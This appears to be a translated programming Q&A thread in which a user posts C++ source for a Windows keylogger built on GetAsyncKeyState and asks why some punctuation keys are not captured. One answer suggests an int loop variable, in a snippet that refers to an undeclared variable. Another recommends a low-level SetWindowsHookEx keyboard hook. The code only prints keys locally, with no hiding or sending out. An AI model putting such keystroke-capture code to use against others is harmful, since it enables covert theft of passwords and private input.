我正在尝试创建一个键盘记录器。我决定使用GetAsyncKeyState函数。我编写了所有按键。当我测试我的键盘记录器时,我发现控制台上没有显示像<。> /?;:'“[{]} \ | = + -_这样的键。为什么?
这是我的代码:
#include <iostream>
#include <Windows.h>
#include <string>
#include <cctype>
#include <conio.h>
using namespace std;
string WhichKey(char key)
{
string ToReturn;
switch (key)
{
case VK_BACK:
return "*BACKSPACE*";
case VK_TAB:
return "*TAB*";
case VK_RETURN:
return "*ENTER*";
case VK_SHIFT:
return "*SHIFT*";
case VK_MENU:
return "*ALT*";
case VK_CONTROL:
return "*CTRL*";
case VK_ESCAPE:
return "*ESC*";
case VK_SPACE:
return " ";
case VK_PRIOR:
return "*PAGE_UP*";
case VK_NEXT:
return "*PAGE_DOWN*";
case VK_END:
return "*END*";
case VK_HOME:
return "*HOME*";
case VK_CAPITAL:
return "*CAPS_LOCK*";
case VK_UP:
return "*UP_ARROW*";
case VK_DOWN:
return "*DOWN_ARROW*";
case VK_LEFT:
return "*LEFT_ARROW*";
case VK_RIGHT:
return "*RIGHT_ARROW*";
case VK_EXECUTE:
return "*EXECUTE*";
case VK_SNAPSHOT:
return "*PRINTSCREEN*";
case VK_INSERT:
return "*INSERT*";
case VK_DELETE:
return "*DELETE*";
case VK_LWIN:
case VK_RWIN:
return "*WIN*";
case VK_NUMPAD0:
return "0";
case VK_NUMPAD1:
return "1";
case VK_NUMPAD2:
return "2";
case VK_NUMPAD3:
return "3";
case VK_NUMPAD4:
return "4";
case VK_NUMPAD5:
return "5";
case VK_NUMPAD6:
return "6";
case VK_NUMPAD7:
return "7";
case VK_NUMPAD8:
return "8";
case VK_NUMPAD9:
return "9";
case VK_F1:
return "*F1*";
case VK_F2:
return "*F2*";
case VK_F3:
return "*F3*";
case VK_F4:
return "*F4*";
case VK_F5:
return "*F5*";
case VK_F6:
return "*F6*";
case VK_F7:
return "*F7*";
case VK_F8:
return "*F8*";
case VK_F9:
return "*F9*";
case VK_F10:
return "*F10*";
case VK_F11:
return "*F11*";
case VK_F12:
return "*F12*";
case VK_SCROLL:
return "*SCROLL_LOCK*";
case VK_NUMLOCK:
return "*NUM_LOCK*";
case VK_MULTIPLY:
return "*";
case VK_ADD:
return "+";
case VK_SUBTRACT:
return "-";
case VK_DIVIDE:
return "/";
case VK_DECIMAL:
return ".";
case VK_LBUTTON:
return "*left_click*";
case VK_RBUTTON:
return "*right_click*";
case VK_MBUTTON:
return "*middle_click*";
}
if (isalpha(key))
{
if (!((GetKeyState(VK_CAPITAL) & 0x0001) == 0) ^ (((GetKeyState(VK_SHIFT) & 0x1000) == 0)))
{
key = tolower(key); //off
ToReturn += key;
return ToReturn;
}
else
{
ToReturn += key; //on
return ToReturn;
}
}
else if (isdigit(key))
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
{
ToReturn += key; //off
return ToReturn;
}
else
{
switch (key)
{
case '1':
{
key = '!';
break;
}
case '2':
{
key = '@';
break;
}
case '3':
{
key = '#';
break;
}
case '4':
{
key = '$';
break;
}
case '5':
{
key = '%';
break;
}
case '6':
{
key = '^';
break;
}
case '7':
{
key = '&';
break;
}
case '8':
{
key = '*';
break;
}
case '9':
{
key = '(';
break;
}
case '0':
{
key = ')';
break;
}
}
ToReturn += key; //on
return ToReturn;
}
}
else
{
switch (key)
{
case VK_OEM_1:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = ';'; //off
else
key = ':';
break;
}
case VK_OEM_PLUS:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '='; //off
else
key = '+';
break;
}
case VK_OEM_COMMA:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = ','; //off
else
key = '<';
break;
}
case VK_OEM_MINUS:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '-'; //off
else
key = '_';
break;
}
case VK_OEM_PERIOD:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '.'; //off
else
key = '>';
break;
}
case VK_OEM_2:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '/'; //off
else
key = '?';
break;
}
case VK_OEM_3:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '`'; //off
else
key = '~';
break;
}
case VK_OEM_4:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '['; //off
else
key = '{';
break;
}
case VK_OEM_5:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '\\'; //off
else
key = '|';
break;
}
case VK_OEM_6:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = ']'; //off
else
key = '}';
break;
}
case VK_OEM_7:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '\''; //off
else
key = '\"';
break;
}
}
ToReturn += key;
return ToReturn;
}
ToReturn += key;
return ToReturn;
}
int main()
{
char key;
while(1)
{
for(key = 0; key <= 256; key++)
{
if (GetAsyncKeyState(key) & 0x0001)
{
cout << WhichKey(key);
}
}
}
return 0;
}
提前致谢并抱歉我的英语。
答案 0 :(得分:0)
尝试此操作,将for循环变量key
更改为int而不是char。
int key;
while (1) {
for (key=8; key<= 255; key++) {
if (i < 160 || i >165) {
if (GetAsyncKeyState(i) == -32767) {
<event>
}
}
}
}
return 0;
答案 1 :(得分:-2)
首先,这是编写键盘记录器的一种非常天真的方法。实际上我和大约10年前一样尝试过同样的事情。
更好的方法是使用Windows Hooks。
LRESULT CALLBACK llKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *hookStruct = (KBDLLHOOKSTRUCT*) lParam;
// Parse the lParam value and members of the hookStruct structure
return CallNextHookEx(0, nCode, wParam, lParam);
}
// Somewhere in your program, call the following function:
// Initialize the hook
SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) llKeyboardHook, 0, 0);
这里的主要想法是让Windows为您确定生成的“输出”字符,而不是像您所做的那样为每种可能性创建一个switch-case。
我知道这并没有直接回答你的问题,但你所采取的方法实际上是最糟糕的做法。